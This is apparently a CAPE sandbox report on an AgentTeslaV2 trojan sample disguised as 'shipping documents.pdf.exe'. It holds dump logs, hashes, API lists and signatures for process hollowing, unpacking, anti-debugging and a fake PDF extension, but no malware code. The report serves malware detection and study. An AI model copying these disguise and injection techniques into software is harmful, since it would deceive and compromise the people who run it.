2020-06-30 06:07:53,718 [root] DEBUG: DLL loaded at 0x75390000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2020-06-30 06:07:53,734 [root] DEBUG: DLL loaded at 0x75BD0000: C:\Windows\system32\RpcRtRemote (0xe000 bytes).
2020-06-30 06:07:53,734 [root] DEBUG: NtTerminateProcess hook: Attempting to dump process 1784
2020-06-30 06:07:53,734 [root] DEBUG: GetHookCallerBase: thread 3948 (handle 0x0), return address 0x00451D7E, allocation base 0x00450000.
2020-06-30 06:07:53,750 [root] DEBUG: DoProcessDump: Dumping Imagebase at 0x000D0000.
2020-06-30 06:07:53,750 [root] DEBUG: LooksLikeSectionBoundary: Exception occured reading around suspected boundary at 0x000D2000
2020-06-30 06:07:53,750 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump 'raw' PE image.
2020-06-30 06:07:53,750 [root] DEBUG: DumpPE: Instantiating PeParser with address: 0x000D0000.
2020-06-30 06:07:53,750 [root] DEBUG: DumpPE: Empty or inaccessible last section, file image seems incomplete (from 0x00135800 to 0x00135A00).
2020-06-30 06:07:53,750 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\JbiByQrEOI\CAPE\5132_111887074053271230262020 (size 0x597)
2020-06-30 06:07:53,750 [root] DEBUG: DumpRegion: Dumped stack region from 0x01640000, size 0x1000.
2020-06-30 06:07:53,781 [root] DEBUG: DumpPE: Error: Cannot dump PE file from memory.
2020-06-30 06:07:53,781 [root] DEBUG: DumpImageInCurrentProcess: Failed to dump 'raw' PE image from 0x000D0000, dumping memory region.
2020-06-30 06:07:53,781 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\JbiByQrEOI\CAPE\5132_114259708853271230262020 (size 0x129)
2020-06-30 06:07:53,781 [root] DEBUG: DumpRegion: Dumped stack region from 0x00030000, size 0x1000.
2020-06-30 06:07:53,781 [root] DEBUG: DLL loaded at 0x005E0000: C:\tmpq_mrpfl7\dll\BkWsDu (0xd5000 bytes).
2020-06-30 06:07:53,796 [root] DEBUG: DLL unloaded from 0x76730000.
2020-06-30 06:07:53,796 [root] DEBUG: DLL unloaded from 0x72490000.
2020-06-30 06:07:53,796 [root] DEBUG: DLL unloaded from 0x68450000.
2020-06-30 06:07:53,796 [root] DEBUG: DLL unloaded from 0x76650000.
2020-06-30 06:07:53,796 [root] DEBUG: DLL unloaded from 0x71720000.
2020-06-30 06:07:53,796 [root] DEBUG: DLL unloaded from 0x72490000.
2020-06-30 06:07:53,796 [root] DEBUG: DLL unloaded from 0x76650000.
2020-06-30 06:07:53,796 [root] DEBUG: NtTerminateProcess hook: Attempting to dump process 1784
2020-06-30 06:07:53,812 [root] DEBUG: DLL unloaded from 0x005E0000.
2020-06-30 06:07:53,812 [root] DEBUG: GetHookCallerBase: thread 3948 (handle 0x0), return address 0x00451D7E, allocation base 0x00450000.
2020-06-30 06:07:53,812 [root] DEBUG: set_caller_info: Adding region at 0x00240000 to caller regions list (advapi32::RegQueryInfoKeyW).
2020-06-30 06:07:53,812 [root] DEBUG: DoProcessDump: Dumping Imagebase at 0x000D0000.
2020-06-30 06:07:53,859 [root] DEBUG: set_caller_info: Failed to dumping calling PE image at 0x00240000.
2020-06-30 06:07:53,859 [root] DEBUG: LooksLikeSectionBoundary: Exception occured reading around suspected boundary at 0x000D2000
2020-06-30 06:07:53,859 [root] DEBUG: set_caller_info: Adding region at 0x004E0000 to caller regions list (kernel32::FindFirstFileExW).
2020-06-30 06:07:53,875 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump 'raw' PE image.
2020-06-30 06:07:53,875 [root] DEBUG: DumpPE: Instantiating PeParser with address: 0x000D0000.
2020-06-30 06:07:53,875 [root] DEBUG: ScanForNonZero: Exception occured reading memory address 0x5dffff
2020-06-30 06:07:53,890 [root] DEBUG: DumpMemory: Nothing to dump at 0x004E0000!
2020-06-30 06:07:53,890 [root] DEBUG: DumpPE: Empty or inaccessible last section, file image seems incomplete (from 0x00135800 to 0x00135A00).
2020-06-30 06:07:53,890 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x004E0000 size 0x100000.
2020-06-30 06:07:53,890 [root] DEBUG: DumpPEsInRange: Scanning range 0x4e0000 - 0x515000.
2020-06-30 06:07:53,906 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x4e0000-0x515000.
2020-06-30 06:07:53,921 [root] DEBUG: DumpPE: Error: Cannot dump PE file from memory.
2020-06-30 06:07:53,937 [root] DEBUG: DumpImageInCurrentProcess: Failed to dump 'raw' PE image from 0x000D0000, dumping memory region.
2020-06-30 06:07:53,953 [root] INFO: Process with pid 1784 has terminated
2020-06-30 06:07:53,953 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\JbiByQrEOI\CAPE\5132_139485343253271230262020 (size 0x34ffe)
2020-06-30 06:07:53,984 [root] DEBUG: DumpRegion: Dumped stack region from 0x004E0000, size 0x35000.
2020-06-30 06:07:53,984 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xc0 amd local view 0x71720000 to global list.
2020-06-30 06:07:53,984 [root] DEBUG: DLL loaded at 0x71720000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei (0x7d000 bytes).
2020-06-30 06:07:54,000 [root] DEBUG: DLL unloaded from 0x76A30000.
2020-06-30 06:07:54,015 [root] DEBUG: NtTerminateProcess hook: Attempting to dump process 5132
2020-06-30 06:07:54,015 [root] DEBUG: GetHookCallerBase: thread 5124 (handle 0x0), return address 0x6B681698, allocation base 0x6B650000.
2020-06-30 06:07:54,015 [root] DEBUG: DoProcessDump: Dumping Imagebase at 0x000D0000.
2020-06-30 06:07:54,031 [root] DEBUG: LooksLikeSectionBoundary: Exception occured reading around suspected boundary at 0x000D2000
2020-06-30 06:07:54,031 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump 'raw' PE image.
2020-06-30 06:07:54,046 [root] DEBUG: DumpPE: Instantiating PeParser with address: 0x000D0000.
2020-06-30 06:07:54,062 [root] DEBUG: DumpPE: Empty or inaccessible last section, file image seems incomplete (from 0x00135800 to 0x00135A00).
2020-06-30 06:07:54,078 [root] DEBUG: DumpPE: Error: Cannot dump PE file from memory.
2020-06-30 06:07:54,109 [root] DEBUG: DumpImageInCurrentProcess: Failed to dump 'raw' PE image from 0x000D0000, dumping memory region.
2020-06-30 06:07:54,109 [root] DEBUG: DoProcessDump: Dumping 'new' Imagebase at 0x00400000.
2020-06-30 06:07:54,109 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump virtual PE image.
2020-06-30 06:07:54,109 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00400000.
2020-06-30 06:07:54,125 [root] DEBUG: DumpProcess: Module entry point VA is 0x0004701E.
2020-06-30 06:07:54,265 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x45c00.
2020-06-30 06:07:54,265 [root] DEBUG: DLL unloaded from 0x76730000.
2020-06-30 06:07:54,265 [root] DEBUG: DLL unloaded from 0x71720000.
2020-06-30 06:07:54,265 [root] INFO: Process with pid 5132 has terminated
2020-06-30 06:08:14,062 [root] INFO: Process list is empty, terminating analysis.
2020-06-30 06:08:15,062 [root] INFO: Created shutdown mutex.
2020-06-30 06:08:16,078 [root] INFO: Shutting down package.
2020-06-30 06:08:16,078 [root] INFO: Stopping auxiliary modules.
2020-06-30 06:08:16,249 [lib.common.results] WARNING: File C:\JbiByQrEOI\bin\procmon.xml doesn't exist anymore
2020-06-30 06:08:16,265 [root] INFO: Finishing auxiliary modules.
2020-06-30 06:08:16,265 [root] INFO: Shutting down pipe server and dumping dropped files.
2020-06-30 06:08:16,265 [root] WARNING: Folder at path "C:\JbiByQrEOI\debugger" does not exist, skip.
2020-06-30 06:08:16,281 [root] INFO: Analysis completed.

Machine

Name Label Manager Started On Shutdown On
win7_4 win7_4 KVM 2020-06-30 06:08:34 2020-06-30 06:11:10

File Details

File Name shipping documents.pdf.exe
File Size 416256 bytes
File Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
PE timestamp 2020-06-30 04:11:24
MD5 479b90f3d9a4280973b7a0f9d6cdbb0e
SHA1 48246b5645cf749112b658ec06d8d1b9bade96a8
SHA256 2a87cb832286cd46299d51045054aecf69b3a7898a7bef464531f9f9d370e9c6
SHA512 bf47df72b39783ea1937844de5d73999a1dc37d0a1d76e64eb61b3b2f6314dd146c195030b75e5a78c313e88328191e7269992d47f0c0d8fd57d78668bef8765
CRC32 AE8013BC
Ssdeep 12288:YlClyB8cYxhybQYZATIam4nzgjyGEh+zvm:YlClyWcY+bQYeTsO3hX
Download Download ZIP Resubmit sample

Signatures

SetUnhandledExceptionFilter detected (possible anti-debug)
Behavioural detection: Executable code extraction - unpacking
Yara rule detections observed from a process memory dump/dropped files/CAPE
Hit: PID 5132 trigged the Yara rule 'AgentTeslaV2'
Hit: PID 5132 trigged the Yara rule 'embedded_pe'
Hit: PID 1784 trigged the Yara rule 'AgentTeslaV2'
Creates RWX memory
Guard pages use detected - possible anti-debugging.
Dynamic (imported) function loading detected
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: KERNEL32.dll/FlsAlloc
DynamicLoader: KERNEL32.dll/FlsFree
DynamicLoader: KERNEL32.dll/FlsGetValue
DynamicLoader: KERNEL32.dll/FlsSetValue
DynamicLoader: KERNEL32.dll/InitializeCriticalSectionEx
DynamicLoader: KERNEL32.dll/CreateEventExW
DynamicLoader: KERNEL32.dll/CreateSemaphoreExW
DynamicLoader: KERNEL32.dll/SetThreadStackGuarantee
DynamicLoader: KERNEL32.dll/CreateThreadpoolTimer
DynamicLoader: KERNEL32.dll/SetThreadpoolTimer
DynamicLoader: KERNEL32.dll/WaitForThreadpoolTimerCallbacks
DynamicLoader: KERNEL32.dll/CloseThreadpoolTimer
DynamicLoader: KERNEL32.dll/CreateThreadpoolWait
DynamicLoader: KERNEL32.dll/SetThreadpoolWait
DynamicLoader: KERNEL32.dll/CloseThreadpoolWait
DynamicLoader: KERNEL32.dll/FlushProcessWriteBuffers
DynamicLoader: KERNEL32.dll/FreeLibraryWhenCallbackReturns
DynamicLoader: KERNEL32.dll/GetCurrentProcessorNumber
DynamicLoader: KERNEL32.dll/GetLogicalProcessorInformation
DynamicLoader: KERNEL32.dll/CreateSymbolicLinkW
DynamicLoader: KERNEL32.dll/SetDefaultDllDirectories
DynamicLoader: KERNEL32.dll/EnumSystemLocalesEx
DynamicLoader: KERNEL32.dll/CompareStringEx
DynamicLoader: KERNEL32.dll/GetDateFormatEx
DynamicLoader: KERNEL32.dll/GetLocaleInfoEx
DynamicLoader: KERNEL32.dll/GetTimeFormatEx
DynamicLoader: KERNEL32.dll/GetUserDefaultLocaleName
DynamicLoader: KERNEL32.dll/IsValidLocaleName
DynamicLoader: KERNEL32.dll/LCMapStringEx
DynamicLoader: KERNEL32.dll/GetCurrentPackageId
DynamicLoader: KERNEL32.dll/GetTickCount64
DynamicLoader: KERNEL32.dll/GetFileInformationByHandleExW
DynamicLoader: KERNEL32.dll/SetFileInformationByHandleW
DynamicLoader: KERNEL32.dll/AcquireSRWLockExclusive
DynamicLoader: KERNEL32.dll/ReleaseSRWLockExclusive
DynamicLoader: ADVAPI32.dll/EventRegister
DynamicLoader: ADVAPI32.dll/EventSetInformation
DynamicLoader: MSCOREE.DLL/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/_CorExeMain_RetAddr
DynamicLoader: mscoreei.dll/_CorExeMain
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: VERSION.dll/GetFileVersionInfoSizeW
DynamicLoader: VERSION.dll/GetFileVersionInfoW
DynamicLoader: VERSION.dll/VerQueryValueW
DynamicLoader: KERNEL32.dll/FlsAlloc
DynamicLoader: KERNEL32.dll/FlsGetValue
DynamicLoader: KERNEL32.dll/FlsSetValue
DynamicLoader: KERNEL32.dll/FlsFree
DynamicLoader: KERNEL32.dll/InitializeCriticalSectionAndSpinCount
DynamicLoader: KERNEL32.dll/IsProcessorFeaturePresent
DynamicLoader: msvcrt.dll/_set_error_mode
DynamicLoader: msvcrt.dll/[email protected]@[email protected]
DynamicLoader: msvcrt.dll/_get_terminate
DynamicLoader: KERNEL32.dll/FindActCtxSectionStringW
DynamicLoader: KERNEL32.dll/GetSystemWindowsDirectoryW
DynamicLoader: MSCOREE.DLL/GetProcessExecutableHeap
DynamicLoader: mscoreei.dll/GetProcessExecutableHeap_RetAddr
DynamicLoader: mscoreei.dll/GetProcessExecutableHeap
DynamicLoader: mscorwks.dll/SetLoadedByMscoree
DynamicLoader: USER32.dll/GetProcessWindowStation
DynamicLoader: USER32.dll/GetUserObjectInformationW
DynamicLoader: mscorwks.dll/_CorExeMain
DynamicLoader: mscorwks.dll/GetCLRFunction
DynamicLoader: ADVAPI32.dll/RegisterTraceGuidsW
DynamicLoader: ADVAPI32.dll/UnregisterTraceGuids
DynamicLoader: ADVAPI32.dll/GetTraceLoggerHandle
DynamicLoader: ADVAPI32.dll/GetTraceEnableLevel
DynamicLoader: ADVAPI32.dll/GetTraceEnableFlags
DynamicLoader: ADVAPI32.dll/TraceEvent
DynamicLoader: MSCOREE.DLL/IEE
DynamicLoader: mscoreei.dll/IEE_RetAddr
DynamicLoader: mscoreei.dll/IEE
DynamicLoader: mscorwks.dll/IEE
DynamicLoader: MSCOREE.DLL/GetStartupFlags
DynamicLoader: mscoreei.dll/GetStartupFlags_RetAddr
DynamicLoader: mscoreei.dll/GetStartupFlags
DynamicLoader: MSCOREE.DLL/GetHostConfigurationFile
DynamicLoader: mscoreei.dll/GetHostConfigurationFile_RetAddr
DynamicLoader: mscoreei.dll/GetHostConfigurationFile
DynamicLoader: mscoreei.dll/GetCORVersion_RetAddr
DynamicLoader: mscoreei.dll/GetCORVersion
DynamicLoader: MSCOREE.DLL/GetCORSystemDirectory
DynamicLoader: mscoreei.dll/GetCORSystemDirectory_RetAddr
DynamicLoader: mscoreei.dll/CreateConfigStream_RetAddr
DynamicLoader: mscoreei.dll/CreateConfigStream
DynamicLoader: ntdll.dll/RtlUnwind
DynamicLoader: KERNEL32.dll/IsWow64Process
DynamicLoader: KERNEL32.dll/GetSystemWindowsDirectoryW
DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
DynamicLoader: ADVAPI32.dll/OpenProcessToken
DynamicLoader: ADVAPI32.dll/GetTokenInformation
DynamicLoader: ADVAPI32.dll/InitializeAcl
DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
DynamicLoader: ADVAPI32.dll/FreeSid
DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
DynamicLoader: ADVAPI32.dll/OpenProcessToken
DynamicLoader: ADVAPI32.dll/GetTokenInformation
DynamicLoader: ADVAPI32.dll/InitializeAcl
DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
DynamicLoader: ADVAPI32.dll/FreeSid
DynamicLoader: KERNEL32.dll/SetThreadStackGuarantee
DynamicLoader: KERNEL32.dll/FlsSetValue
DynamicLoader: KERNEL32.dll/FlsGetValue
DynamicLoader: KERNEL32.dll/FlsAlloc
DynamicLoader: KERNEL32.dll/FlsFree
DynamicLoader: KERNEL32.dll/AddVectoredContinueHandler
DynamicLoader: KERNEL32.dll/RemoveVectoredContinueHandler
DynamicLoader: ADVAPI32.dll/ConvertSidToStringSidW
DynamicLoader: shell32.dll/SHGetFolderPathW
DynamicLoader: KERNEL32.dll/FlushProcessWriteBuffers
DynamicLoader: KERNEL32.dll/GetWriteWatch
DynamicLoader: KERNEL32.dll/ResetWriteWatch
DynamicLoader: KERNEL32.dll/CreateMemoryResourceNotification
DynamicLoader: KERNEL32.dll/QueryMemoryResourceNotification
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: KERNEL32.dll/QueryActCtxW
DynamicLoader: ole32.dll/CoGetContextToken
DynamicLoader: KERNEL32.dll/GetFullPathName
DynamicLoader: KERNEL32.dll/GetFullPathNameW
DynamicLoader: KERNEL32.dll/GetVersionEx
DynamicLoader: KERNEL32.dll/GetVersionExW
DynamicLoader: KERNEL32.dll/GetVersionEx
DynamicLoader: KERNEL32.dll/GetVersionExW
DynamicLoader: ADVAPI32.dll/CryptAcquireContextA
DynamicLoader: ADVAPI32.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/CryptCreateHash
DynamicLoader: ADVAPI32.dll/CryptDestroyHash
DynamicLoader: ADVAPI32.dll/CryptHashData
DynamicLoader: ADVAPI32.dll/CryptGetHashParam
DynamicLoader: ADVAPI32.dll/CryptImportKey
DynamicLoader: ADVAPI32.dll/CryptExportKey
DynamicLoader: ADVAPI32.dll/CryptGenKey
DynamicLoader: ADVAPI32.dll/CryptGetKeyParam
DynamicLoader: ADVAPI32.dll/CryptDestroyKey
DynamicLoader: ADVAPI32.dll/CryptVerifySignatureA
DynamicLoader: ADVAPI32.dll/CryptSignHashA
DynamicLoader: ADVAPI32.dll/CryptGetProvParam
DynamicLoader: ADVAPI32.dll/CryptGetUserKey
DynamicLoader: ADVAPI32.dll/CryptEnumProvidersA
DynamicLoader: MSCOREE.DLL/GetMetaDataInternalInterface
DynamicLoader: mscoreei.dll/GetMetaDataInternalInterface_RetAddr
DynamicLoader: mscoreei.dll/GetMetaDataInternalInterface
DynamicLoader: mscorwks.dll/GetMetaDataInternalInterface
DynamicLoader: mscorjit.dll/getJit
DynamicLoader: KERNEL32.dll/IsWow64Process
DynamicLoader: uxtheme.dll/IsAppThemed
DynamicLoader: uxtheme.dll/IsAppThemedW
DynamicLoader: KERNEL32.dll/CreateActCtx
DynamicLoader: KERNEL32.dll/CreateActCtxA
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: USER32.dll/RegisterWindowMessage
DynamicLoader: USER32.dll/RegisterWindowMessageW
DynamicLoader: ole32.dll/CoCreateGuid
DynamicLoader: KERNEL32.dll/GetUserDefaultUILanguage
DynamicLoader: KERNEL32.dll/SetErrorMode
DynamicLoader: KERNEL32.dll/GetFileAttributesEx
DynamicLoader: KERNEL32.dll/GetFileAttributesExW
DynamicLoader: mscoreei.dll/LoadLibraryShim_RetAddr
DynamicLoader: mscoreei.dll/LoadLibraryShim
DynamicLoader: culture.dll/ConvertLangIdToCultureName
DynamicLoader: KERNEL32.dll/GetCurrentProcessId
DynamicLoader: KERNEL32.dll/GetCurrentProcessIdW
DynamicLoader: KERNEL32.dll/FindAtom
DynamicLoader: KERNEL32.dll/FindAtomW
DynamicLoader: KERNEL32.dll/AddAtom
DynamicLoader: KERNEL32.dll/AddAtomW
DynamicLoader: MSCOREE.DLL/LoadLibraryShim
DynamicLoader: gdiplus.dll/GdiplusStartup
DynamicLoader: KERNEL32.dll/IsProcessorFeaturePresent
DynamicLoader: USER32.dll/GetWindowInfo
DynamicLoader: USER32.dll/GetAncestor
DynamicLoader: USER32.dll/GetMonitorInfoA
DynamicLoader: USER32.dll/EnumDisplayMonitors
DynamicLoader: USER32.dll/EnumDisplayDevicesA
DynamicLoader: GDI32.dll/ExtTextOutW
DynamicLoader: GDI32.dll/GdiIsMetaPrintDC
DynamicLoader: gdiplus.dll/GdipLoadImageFromStream
DynamicLoader: WindowsCodecs.dll/DllGetClassObject
DynamicLoader: gdiplus.dll/GdipImageForceValidation
DynamicLoader: gdiplus.dll/GdipGetImageType
DynamicLoader: gdiplus.dll/GdipGetImageRawFormat
DynamicLoader: gdiplus.dll/GdipGetImageWidth
DynamicLoader: gdiplus.dll/GdipGetImageHeight
DynamicLoader: gdiplus.dll/GdipBitmapGetPixel
DynamicLoader: KERNEL32.dll/GlobalMemoryStatusEx
DynamicLoader: KERNEL32.dll/CreateProcess
DynamicLoader: KERNEL32.dll/CreateProcessW
DynamicLoader: KERNEL32.dll/GetThreadContext
DynamicLoader: KERNEL32.dll/ReadProcessMemory
DynamicLoader: KERNEL32.dll/VirtualAllocEx
DynamicLoader: KERNEL32.dll/WriteProcessMemory
DynamicLoader: KERNEL32.dll/SetThreadContext
DynamicLoader: KERNEL32.dll/ResumeThread
DynamicLoader: ole32.dll/CoWaitForMultipleHandles
DynamicLoader: KERNEL32.dll/DeleteAtom
DynamicLoader: KERNEL32.dll/DeleteAtomW
DynamicLoader: sechost.dll/LookupAccountNameLocalW
DynamicLoader: ADVAPI32.dll/LookupAccountSidW
DynamicLoader: sechost.dll/LookupAccountSidLocalW
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: ole32.dll/NdrOleInitializeExtension
DynamicLoader: ole32.dll/CoGetClassObject
DynamicLoader: ole32.dll/CoGetMarshalSizeMax
DynamicLoader: ole32.dll/CoMarshalInterface
DynamicLoader: ole32.dll/CoUnmarshalInterface
DynamicLoader: ole32.dll/StringFromIID
DynamicLoader: ole32.dll/CoGetPSClsid
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: ole32.dll/CoReleaseMarshalData
DynamicLoader: ole32.dll/DcomChannelSetHResult
DynamicLoader: RpcRtRemote.dll/I_RpcExtInitializeExtensionPoint
DynamicLoader: KERNEL32.dll/CreateActCtxW
DynamicLoader: KERNEL32.dll/AddRefActCtx
DynamicLoader: KERNEL32.dll/ReleaseActCtx
DynamicLoader: KERNEL32.dll/ActivateActCtx
DynamicLoader: KERNEL32.dll/DeactivateActCtx
DynamicLoader: KERNEL32.dll/GetCurrentActCtx
DynamicLoader: KERNEL32.dll/QueryActCtxW
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/EventUnregister
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: KERNEL32.dll/FlsAlloc
DynamicLoader: KERNEL32.dll/FlsFree
DynamicLoader: KERNEL32.dll/FlsGetValue
DynamicLoader: KERNEL32.dll/FlsSetValue
DynamicLoader: KERNEL32.dll/InitializeCriticalSectionEx
DynamicLoader: KERNEL32.dll/CreateEventExW
DynamicLoader: KERNEL32.dll/CreateSemaphoreExW
DynamicLoader: KERNEL32.dll/SetThreadStackGuarantee
DynamicLoader: KERNEL32.dll/CreateThreadpoolTimer
DynamicLoader: KERNEL32.dll/SetThreadpoolTimer
DynamicLoader: KERNEL32.dll/WaitForThreadpoolTimerCallbacks
DynamicLoader: KERNEL32.dll/CloseThreadpoolTimer
DynamicLoader: KERNEL32.dll/CreateThreadpoolWait
DynamicLoader: KERNEL32.dll/SetThreadpoolWait
DynamicLoader: KERNEL32.dll/CloseThreadpoolWait
DynamicLoader: KERNEL32.dll/FlushProcessWriteBuffers
DynamicLoader: KERNEL32.dll/FreeLibraryWhenCallbackReturns
DynamicLoader: KERNEL32.dll/GetCurrentProcessorNumber
DynamicLoader: KERNEL32.dll/GetLogicalProcessorInformation
DynamicLoader: KERNEL32.dll/CreateSymbolicLinkW
DynamicLoader: KERNEL32.dll/SetDefaultDllDirectories
DynamicLoader: KERNEL32.dll/EnumSystemLocalesEx
DynamicLoader: KERNEL32.dll/CompareStringEx
DynamicLoader: KERNEL32.dll/GetDateFormatEx
DynamicLoader: KERNEL32.dll/GetLocaleInfoEx
DynamicLoader: KERNEL32.dll/GetTimeFormatEx
DynamicLoader: KERNEL32.dll/GetUserDefaultLocaleName
DynamicLoader: KERNEL32.dll/IsValidLocaleName
DynamicLoader: KERNEL32.dll/LCMapStringEx
DynamicLoader: KERNEL32.dll/GetCurrentPackageId
DynamicLoader: KERNEL32.dll/GetTickCount64
DynamicLoader: KERNEL32.dll/GetFileInformationByHandleExW
DynamicLoader: KERNEL32.dll/SetFileInformationByHandleW
DynamicLoader: KERNEL32.dll/AcquireSRWLockExclusive
DynamicLoader: KERNEL32.dll/ReleaseSRWLockExclusive
DynamicLoader: ADVAPI32.dll/EventRegister
DynamicLoader: ADVAPI32.dll/EventSetInformation
DynamicLoader: MSCOREE.DLL/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/_CorExeMain_RetAddr
DynamicLoader: mscoreei.dll/_CorExeMain
DynamicLoader: ADVAPI32.dll/EventUnregister
CAPE extracted potentially suspicious content
shipping documents.pdf.exe: Unpacked Shellcode
shipping documents.pdf.exe: Injected Shellcode/Data
shipping documents.pdf.exe: Injected Shellcode/Data
shipping documents.pdf.exe: Unpacked Shellcode
shipping documents.pdf.exe: AgentTeslaV2 Payload: 32-bit executable
shipping documents.pdf.exe: AgentTeslaV2
shipping documents.pdf.exe: Unpacked Shellcode
shipping documents.pdf.exe: Unpacked Shellcode
shipping documents.pdf.exe: Unpacked Shellcode
shipping documents.pdf.exe: Unpacked Shellcode
shipping documents.pdf.exe: Unpacked Shellcode
Attempts to mimic the file extension of a PDF document by having 'pdf' in the file name.
The binary likely contains encrypted or compressed data.
section: name: .text, entropy: 7.91, characteristics: IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ, raw_size: 0x00061400, virtual_size: 0x00061298
Authenticode signature is invalid
authenticode error: No signature found. SignTool Error File not valid C\Users\Rebecca\AppData\Local\Temp\shipping documents.pdf.exe
Uses Windows utilities for basic functionality
command: C:\Users\Rebecca\AppData\Local\Temp\shipping documents.pdf.exe "{path}"
Behavioural detection: Injection (Process Hollowing)
Injection: shipping documents.pdf.exe(1784) -> shipping documents.pdf.exe(5132)
Executed a process and injected code into it, probably while unpacking
Injection: shipping documents.pdf.exe(1784) -> shipping documents.pdf.exe(5132)
Behavioural detection: Injection (inter-process)
CAPE detected the AgentTeslaV2 malware family

Screenshots


Hosts

No hosts contacted.

DNS

No domains contacted.


Summary

C:\Windows\System32\MSCOREE.DLL.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework\*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Users\Rebecca\AppData\Local\Temp\shipping documents.pdf.exe.config
C:\Users\Rebecca\AppData\Local\Temp\shipping documents.pdf.exe
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-2.dll
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Users\Rebecca\AppData\Local\Temp\shipping documents.pdf.exe.Local\
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
C:\Windows
C:\Windows\winsxs
C:\Windows\Microsoft.NET\Framework\v4.0.30319
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\fusion.localgac
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Rebecca\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Rebecca\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index38e.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\f8420d8c6ede777377fcff48a4beaa2a\mscorlib.ni.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.INI
C:\Users
C:\Users\Rebecca
C:\Users\Rebecca\AppData
C:\Users\Rebecca\AppData\Local
C:\Users\Rebecca\AppData\Local\Temp
